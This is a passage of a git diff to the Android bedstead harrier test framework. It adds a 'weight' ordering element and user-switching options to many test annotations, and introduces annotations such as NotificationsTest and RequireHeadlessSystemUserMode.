 import static com.android.bedstead.harrier.DeviceState.UserType.CURRENT_USER;
+import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.MIDDLE;
 
 import com.android.bedstead.harrier.DeviceState;
 import com.android.bedstead.harrier.annotations.meta.EnsureHasNoProfileAnnotation;
@@ -39,4 +40,16 @@
 public @interface EnsureHasNoTvProfile {
     /** Which user type the tv profile should not be attached to. */
     DeviceState.UserType forUser() default CURRENT_USER;
+
+    /**
+     * Weight sets the order that annotations will be resolved.
+     *
+     * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+     *
+     * <p>If there is an order requirement between annotations, ensure that the weight of the
+     * annotation which must be resolved first is lower than the one which must be resolved later.
+     *
+     * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+     */
+    int weight() default MIDDLE;
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureHasNoWorkProfile.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureHasNoWorkProfile.java
index 6cc76a2..bec8a6b 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureHasNoWorkProfile.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureHasNoWorkProfile.java
@@ -17,6 +17,7 @@
 package com.android.bedstead.harrier.annotations;
 
 import static com.android.bedstead.harrier.DeviceState.UserType.CURRENT_USER;
+import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.MIDDLE;
 
 import com.android.bedstead.harrier.DeviceState;
 import com.android.bedstead.harrier.annotations.meta.EnsureHasNoProfileAnnotation;
@@ -40,4 +41,16 @@
 public @interface EnsureHasNoWorkProfile {
     /** Which user type the work profile should not be attached to. */
     DeviceState.UserType forUser() default CURRENT_USER;
+
+    /**
+     * Weight sets the order that annotations will be resolved.
+     *
+     * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+     *
+     * <p>If there is an order requirement between annotations, ensure that the weight of the
+     * annotation which must be resolved first is lower than the one which must be resolved later.
+     *
+     * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+     */
+    int weight() default MIDDLE;
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureHasPermission.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureHasPermission.java
index 8f87474..7f7928b 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureHasPermission.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureHasPermission.java
@@ -16,6 +16,8 @@
 
 package com.android.bedstead.harrier.annotations;
 
+import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.MIDDLE;
+
 import java.lang.annotation.ElementType;
 import java.lang.annotation.Retention;
 import java.lang.annotation.RetentionPolicy;
@@ -30,4 +32,16 @@
     String[] value();
 
     FailureMode failureMode() default FailureMode.FAIL;
+
+    /**
+     * Weight sets the order that annotations will be resolved.
+     *
+     * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+     *
+     * <p>If there is an order requirement between annotations, ensure that the weight of the
+     * annotation which must be resolved first is lower than the one which must be resolved later.
+     *
+     * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+     */
+    int weight() default MIDDLE;
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureHasSecondaryUser.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureHasSecondaryUser.java
index 8ee6924..186d86b 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureHasSecondaryUser.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureHasSecondaryUser.java
@@ -16,7 +16,9 @@
 
 package com.android.bedstead.harrier.annotations;
 
+import static com.android.bedstead.harrier.OptionalBoolean.ANY;
 import static com.android.bedstead.harrier.OptionalBoolean.TRUE;
+import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.MIDDLE;
 
 import com.android.bedstead.harrier.DeviceState;
 import com.android.bedstead.harrier.OptionalBoolean;
@@ -28,8 +30,7 @@
 import java.lang.annotation.Target;
 
 /**
- * Mark that a test method should run on a device which has a secondary user that is not the
- * current user.
+ * Mark that a test method should run on a device which has a secondary user.
  *
  * <p>Your test configuration may be configured so that this test is only run on a device which
  * has a secondary user that is not the current user. Otherwise, you can use {@link DeviceState}
@@ -43,4 +44,21 @@
 public @interface EnsureHasSecondaryUser {
     /** Whether the instrumented test app should be installed in the secondary user. */
     OptionalBoolean installInstrumentedApp() default TRUE;
+
+    /**
+     * Should we ensure that we are switched to the given user
+     */
+    OptionalBoolean switchedToUser() default ANY;
+
+    /**
+     * Weight sets the order that annotations will be resolved.
+     *
+     * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+     *
+     * <p>If there is an order requirement between annotations, ensure that the weight of the
+     * annotation which must be resolved first is lower than the one which must be resolved later.
+     *
+     * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+     */
+    int weight() default MIDDLE;
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureHasTvProfile.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureHasTvProfile.java
index c6020a1..35f3283 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureHasTvProfile.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureHasTvProfile.java
@@ -17,7 +17,9 @@
 package com.android.bedstead.harrier.annotations;
 
 import static com.android.bedstead.harrier.DeviceState.UserType.CURRENT_USER;
+import static com.android.bedstead.harrier.OptionalBoolean.ANY;
 import static com.android.bedstead.harrier.OptionalBoolean.TRUE;
+import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.MIDDLE;
 
 import com.android.bedstead.harrier.DeviceState;
 import com.android.bedstead.harrier.OptionalBoolean;
@@ -44,4 +46,21 @@
 
     /** Whether the instrumented test app should be installed in the tv profile. */
     OptionalBoolean installInstrumentedApp() default TRUE;
+
+    /**
+     * Should we ensure that we are switched to the parent of the profile.
+     */
+    OptionalBoolean switchedToParentUser() default ANY;
+
+    /**
+     * Weight sets the order that annotations will be resolved.
+     *
+     * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+     *
+     * <p>If there is an order requirement between annotations, ensure that the weight of the
+     * annotation which must be resolved first is lower than the one which must be resolved later.
+     *
+     * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+     */
+    int weight() default MIDDLE;
 }
\ No newline at end of file
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureHasWorkProfile.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureHasWorkProfile.java
index 144dffe..892b7f4 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureHasWorkProfile.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureHasWorkProfile.java
@@ -17,7 +17,9 @@
 package com.android.bedstead.harrier.annotations;
 
 import static com.android.bedstead.harrier.DeviceState.UserType.CURRENT_USER;
+import static com.android.bedstead.harrier.OptionalBoolean.ANY;
 import static com.android.bedstead.harrier.OptionalBoolean.TRUE;
+import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.MIDDLE;
 
 import com.android.bedstead.harrier.DeviceState;
 import com.android.bedstead.harrier.OptionalBoolean;
@@ -57,4 +59,21 @@
      * <p>Only one device policy controller per test should be marked as primary.
      */
     boolean dpcIsPrimary() default false;
+
+    /**
+     * Should we ensure that we are switched to the parent of the profile.
+     */
+    OptionalBoolean switchedToParentUser() default ANY;
+
+    /**
+     * Weight sets the order that annotations will be resolved.
+     *
+     * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+     *
+     * <p>If there is an order requirement between annotations, ensure that the weight of the
+     * annotation which must be resolved first is lower than the one which must be resolved later.
+     *
+     * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+     */
+    int weight() default MIDDLE;
 }
\ No newline at end of file
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsurePackageNotInstalled.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsurePackageNotInstalled.java
index 5144dde..9ce07a7 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsurePackageNotInstalled.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsurePackageNotInstalled.java
@@ -16,6 +16,8 @@
 
 package com.android.bedstead.harrier.annotations;
 
+import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.MIDDLE;
+
 import com.android.bedstead.harrier.DeviceState;
 
 import java.lang.annotation.ElementType;
@@ -40,4 +42,16 @@
 public @interface EnsurePackageNotInstalled {
     String value();
     DeviceState.UserType onUser() default DeviceState.UserType.CURRENT_USER;
+
+    /**
+     * Weight sets the order that annotations will be resolved.
+     *
+     * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+     *
+     * <p>If there is an order requirement between annotations, ensure that the weight of the
+     * annotation which must be resolved first is lower than the one which must be resolved later.
+     *
+     * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+     */
+    int weight() default MIDDLE;
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsurePackagesNotInstalled.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsurePackagesNotInstalled.java
index d3327a0..8913e05 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsurePackagesNotInstalled.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsurePackagesNotInstalled.java
@@ -16,6 +16,8 @@
 
 package com.android.bedstead.harrier.annotations;
 
+import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.MIDDLE;
+
 import com.android.bedstead.harrier.annotations.meta.RepeatingAnnotation;
 
 import java.lang.annotation.ElementType;
@@ -28,4 +30,16 @@
 @RepeatingAnnotation
 public @interface EnsurePackagesNotInstalled {
     EnsurePackageNotInstalled[] value();
+
+    /**
+     * Weight sets the order that annotations will be resolved.
+     *
+     * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+     *
+     * <p>If there is an order requirement between annotations, ensure that the weight of the
+     * annotation which must be resolved first is lower than the one which must be resolved later.
+     *
+     * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+     */
+    int weight() default MIDDLE;
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/CalledByHostDrivenTest.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/NotificationsTest.java
similarity index 67%
copy from common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/CalledByHostDrivenTest.java
copy to common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/NotificationsTest.java
index 81b4ee0..4026754 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/CalledByHostDrivenTest.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/NotificationsTest.java
@@ -16,9 +16,7 @@
 
 package com.android.bedstead.harrier.annotations;
 
-import com.android.bedstead.harrier.BedsteadJUnit4;
-
-import org.junit.Test;
+import static com.android.bedstead.nene.utils.Tags.USES_NOTIFICATIONS;
 
 import java.lang.annotation.ElementType;
 import java.lang.annotation.Retention;
@@ -26,11 +24,15 @@
 import java.lang.annotation.Target;
 
 /**
- * Mark that a method is to be called by a host-driven test.
+ * Annotation to indicate that a test interacts with notifications.
  *
- * <p>When used with {@link BedsteadJUnit4}, this acts as equivalent to {@link Test}.
+ * <p>This will mean that the test will not run on low ram devices (as they do not support usage
+ * of {@code NotificationListener}).
  */
 @Target({ElementType.METHOD, ElementType.ANNOTATION_TYPE, ElementType.TYPE})
 @Retention(RetentionPolicy.RUNTIME)
-public @interface CalledByHostDrivenTest {
+@RequireNotLowRamDevice(
+        reason = "This test uses NotificationListener which is not supported on low ram devices")
+@TestTag(USES_NOTIFICATIONS)
+public @interface NotificationsTest {
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/Postsubmit.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/Postsubmit.java
index 92a8c15..95908f0 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/Postsubmit.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/Postsubmit.java
@@ -16,6 +16,8 @@
 
 package com.android.bedstead.harrier.annotations;
 
+import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.PRECEDENCE_NOT_IMPORTANT;
+
 import java.lang.annotation.ElementType;
 import java.lang.annotation.Retention;
 import java.lang.annotation.RetentionPolicy;
@@ -37,4 +39,6 @@
 @Retention(RetentionPolicy.RUNTIME)
 public @interface Postsubmit {
     String reason();
+
+    int weight() default PRECEDENCE_NOT_IMPORTANT;
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireAospBuild.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireAospBuild.java
index 253aa3a..830fa10 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireAospBuild.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireAospBuild.java
@@ -16,6 +16,7 @@
 
 package com.android.bedstead.harrier.annotations;
 
+import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.EARLY;
 import static com.android.bedstead.harrier.annotations.RequireAospBuild.GMS_CORE_PACKAGE;
 import static com.android.bedstead.harrier.annotations.RequireAospBuild.GSF_PACKAGE;
 import static com.android.bedstead.harrier.annotations.RequireAospBuild.PLAY_STORE_PACKAGE;
@@ -36,4 +37,16 @@
     String GMS_CORE_PACKAGE = "com.google.android.gms";
     String PLAY_STORE_PACKAGE = "com.android.vending";
     String GSF_PACKAGE = "com.google.android.gsf";
+
+    /**
+     * Weight sets the order that annotations will be resolved.
+     *
+     * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+     *
+     * <p>If there is an order requirement between annotations, ensure that the weight of the
+     * annotation which must be resolved first is lower than the one which must be resolved later.
+     *
+     * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+     */
+    int weight() default EARLY;
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireCnGmsBuild.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireCnGmsBuild.java
index e5e838b..861cdb8 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireCnGmsBuild.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireCnGmsBuild.java
@@ -16,6 +16,7 @@
 
 package com.android.bedstead.harrier.annotations;
 
+import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.EARLY;
 import static com.android.bedstead.harrier.annotations.RequireCnGmsBuild.CHINA_GOOGLE_SERVICES_FEATURE;
 
 import java.lang.annotation.ElementType;
@@ -28,4 +29,16 @@
 @RequireFeature(CHINA_GOOGLE_SERVICES_FEATURE)
 public @interface RequireCnGmsBuild {
     String CHINA_GOOGLE_SERVICES_FEATURE = "cn.google.services";
+
+    /**
+     * Weight sets the order that annotations will be resolved.
+     *
+     * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+     *
+     * <p>If there is an order requirement between annotations, ensure that the weight of the
+     * annotation which must be resolved first is lower than the one which must be resolved later.
+     *
+     * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+     */
+    int weight() default EARLY;
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireDoesNotHaveFeature.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireDoesNotHaveFeature.java
index e9c816a..ef72a68 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireDoesNotHaveFeature.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireDoesNotHaveFeature.java
@@ -16,6 +16,8 @@
 
 package com.android.bedstead.harrier.annotations;
 
+import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.EARLY;
+
 import java.lang.annotation.ElementType;
 import java.lang.annotation.Retention;
 import java.lang.annotation.RetentionPolicy;
@@ -35,4 +37,16 @@
 public @interface RequireDoesNotHaveFeature {
     String value();
     FailureMode failureMode() default FailureMode.SKIP;
+
+    /**
+     * Weight sets the order that annotations will be resolved.
+     *
+     * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+     *
+     * <p>If there is an order requirement between annotations, ensure that the weight of the
+     * annotation which must be resolved first is lower than the one which must be resolved later.
+     *
+     * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+     */
+    int weight() default EARLY;
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireDoesNotHaveFeatures.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireDoesNotHaveFeatures.java
index 58d2bd9..bbef533 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireDoesNotHaveFeatures.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireDoesNotHaveFeatures.java
@@ -16,6 +16,8 @@
 
 package com.android.bedstead.harrier.annotations;
 
+import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.EARLY;
+
 import com.android.bedstead.harrier.annotations.meta.RepeatingAnnotation;
 
 import java.lang.annotation.ElementType;
@@ -28,4 +30,16 @@
 @RepeatingAnnotation
 public @interface RequireDoesNotHaveFeatures {
     RequireDoesNotHaveFeature[] value();
+
+    /**
+     * Weight sets the order that annotations will be resolved.
+     *
+     * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+     *
+     * <p>If there is an order requirement between annotations, ensure that the weight of the
+     * annotation which must be resolved first is lower than the one which must be resolved later.
+     *
+     * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+     */
+    int weight() default EARLY;
 }
\ No newline at end of file
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireFeature.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireFeature.java
index 4919acb..98db494 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireFeature.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireFeature.java
@@ -16,6 +16,8 @@
 
 package com.android.bedstead.harrier.annotations;
 
+import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.EARLY;
+
 import java.lang.annotation.ElementType;
 import java.lang.annotation.Repeatable;
 import java.lang.annotation.Retention;
@@ -37,4 +39,16 @@
 public @interface RequireFeature {
     String value();
     FailureMode failureMode() default FailureMode.SKIP;
+
+    /**
+     * Weight sets the order that annotations will be resolved.
+     *
+     * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+     *
+     * <p>If there is an order requirement between annotations, ensure that the weight of the
+     * annotation which must be resolved first is lower than the one which must be resolved later.
+     *
+     * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+     */
+    int weight() default EARLY;
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireFeatures.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireFeatures.java
index 827e613..a949d6e 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireFeatures.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireFeatures.java
@@ -16,6 +16,8 @@
 
 package com.android.bedstead.harrier.annotations;
 
+import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.EARLY;
+
 import com.android.bedstead.harrier.annotations.meta.RepeatingAnnotation;
 
 import java.lang.annotation.ElementType;
@@ -28,4 +30,16 @@
 @RepeatingAnnotation
 public @interface RequireFeatures {
     RequireFeature[] value();
+
+    /**
+     * Weight sets the order that annotations will be resolved.
+     *
+     * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+     *
+     * <p>If there is an order requirement between annotations, ensure that the weight of the
+     * annotation which must be resolved first is lower than the one which must be resolved later.
+     *
+     * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+     */
+    int weight() default EARLY;
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireGmsBuild.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireGmsBuild.java
index fb0625d..48e7984 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireGmsBuild.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireGmsBuild.java
@@ -16,6 +16,7 @@
 
 package com.android.bedstead.harrier.annotations;
 
+import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.EARLY;
 import static com.android.bedstead.harrier.annotations.RequireAospBuild.GMS_CORE_PACKAGE;
 import static com.android.bedstead.harrier.annotations.RequireAospBuild.GSF_PACKAGE;
 import static com.android.bedstead.harrier.annotations.RequireAospBuild.PLAY_STORE_PACKAGE;
@@ -33,4 +34,15 @@
 @RequirePackageInstalled(value = PLAY_STORE_PACKAGE, onUser = DeviceState.UserType.ANY)
 @RequirePackageInstalled(value = GSF_PACKAGE, onUser = DeviceState.UserType.ANY)
 public @interface RequireGmsBuild {
+    /**
+     * Weight sets the order that annotations will be resolved.
+     *
+     * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+     *
+     * <p>If there is an order requirement between annotations, ensure that the weight of the
+     * annotation which must be resolved first is lower than the one which must be resolved later.
+     *
+     * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+     */
+    int weight() default EARLY;
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireGmsInstrumentation.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireGmsInstrumentation.java
index 94864c3..44cbeff 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireGmsInstrumentation.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireGmsInstrumentation.java
@@ -16,6 +16,8 @@
 
 package com.android.bedstead.harrier.annotations;
 
+import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.EARLY;
+
 import com.android.bedstead.harrier.DeviceState;
 
 import java.lang.annotation.ElementType;
@@ -42,4 +44,16 @@
 public @interface RequireGmsInstrumentation {
     int min() default 1;
     int max() default Integer.MAX_VALUE;
+
+    /**
+     * Weight sets the order that annotations will be resolved.
+     *
+     * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+     *
+     * <p>If there is an order requirement between annotations, ensure that the weight of the
+     * annotation which must be resolved first is lower than the one which must be resolved later.
+     *
+     * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+     */
+    int weight() default EARLY;
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireHeadlessSystemUserMode.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireHeadlessSystemUserMode.java
new file mode 100644
index 0000000..2d4c62c
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireHeadlessSystemUserMode.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.annotations;
+
+import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.EARLY;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * Mark that a test method should only be run on devices which are in headless system user mode.
+ *
+ * <p>You can guarantee that these methods only run on headless system user mode devices by
+ * using {@code DeviceState}.
+ */
+@Target({ElementType.METHOD, ElementType.ANNOTATION_TYPE, ElementType.TYPE})
+@Retention(RetentionPolicy.RUNTIME)
+public @interface RequireHeadlessSystemUserMode {
+    /**
+     * Weight sets the order that annotations will be resolved.
+     *
+     * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+     *
+     * <p>If there is an order requirement between annotations, ensure that the weight of the
+     * annotation which must be resolved first is lower than the one which must be resolved later.
+     *
+     * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+     */
+    int weight() default EARLY;
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/CalledByHostDrivenTest.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireLowRamDevice.java
similarity index 76%
copy from common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/CalledByHostDrivenTest.java
copy to common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireLowRamDevice.java
index 81b4ee0..257cc2f 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/CalledByHostDrivenTest.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireLowRamDevice.java
@@ -16,9 +16,7 @@
 
 package com.android.bedstead.harrier.annotations;
 
-import com.android.bedstead.harrier.BedsteadJUnit4;
-
-import org.junit.Test;
+import com.android.bedstead.harrier.DeviceState;
 
 import java.lang.annotation.ElementType;
 import java.lang.annotation.Retention;
@@ -26,11 +24,13 @@
 import java.lang.annotation.Target;
 
 /**
- * Mark that a method is to be called by a host-driven test.
+ * Annotation to indicate that a test requires a low ram device.
  *
- * <p>When used with {@link BedsteadJUnit4}, this acts as equivalent to {@link Test}.
+ * <p>This can be enforced by using {@link DeviceState}.
  */
 @Target({ElementType.METHOD, ElementType.ANNOTATION_TYPE, ElementType.TYPE})
 @Retention(RetentionPolicy.RUNTIME)
-public @interface CalledByHostDrivenTest {
+public @interface RequireLowRamDevice {
+    String reason();
+    FailureMode failureMode() default FailureMode.SKIP;
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireNotCnGmsBuild.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireNotCnGmsBuild.java
index 3405411..0d918c5 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireNotCnGmsBuild.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireNotCnGmsBuild.java
@@ -16,6 +16,7 @@
 
 package com.android.bedstead.harrier.annotations;
 
+import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.EARLY;
 import static com.android.bedstead.harrier.annotations.RequireCnGmsBuild.CHINA_GOOGLE_SERVICES_FEATURE;
 
 import java.lang.annotation.ElementType;
@@ -27,4 +28,15 @@
 @Retention(RetentionPolicy.RUNTIME)
 @RequireDoesNotHaveFeature(CHINA_GOOGLE_SERVICES_FEATURE)
 public @interface RequireNotCnGmsBuild {
+    /**
+     * Weight sets the order that annotations will be resolved.
+     *
+     * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+     *
+     * <p>If there is an order requirement between annotations, ensure that the weight of the
+     * annotation which must be resolved first is lower than the one which must be resolved later.
+     *
+     * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+     */
+    int weight() default EARLY;
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireNotHeadlessSystemUserMode.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireNotHeadlessSystemUserMode.java
new file mode 100644
index 0000000..f645ba4
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireNotHeadlessSystemUserMode.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
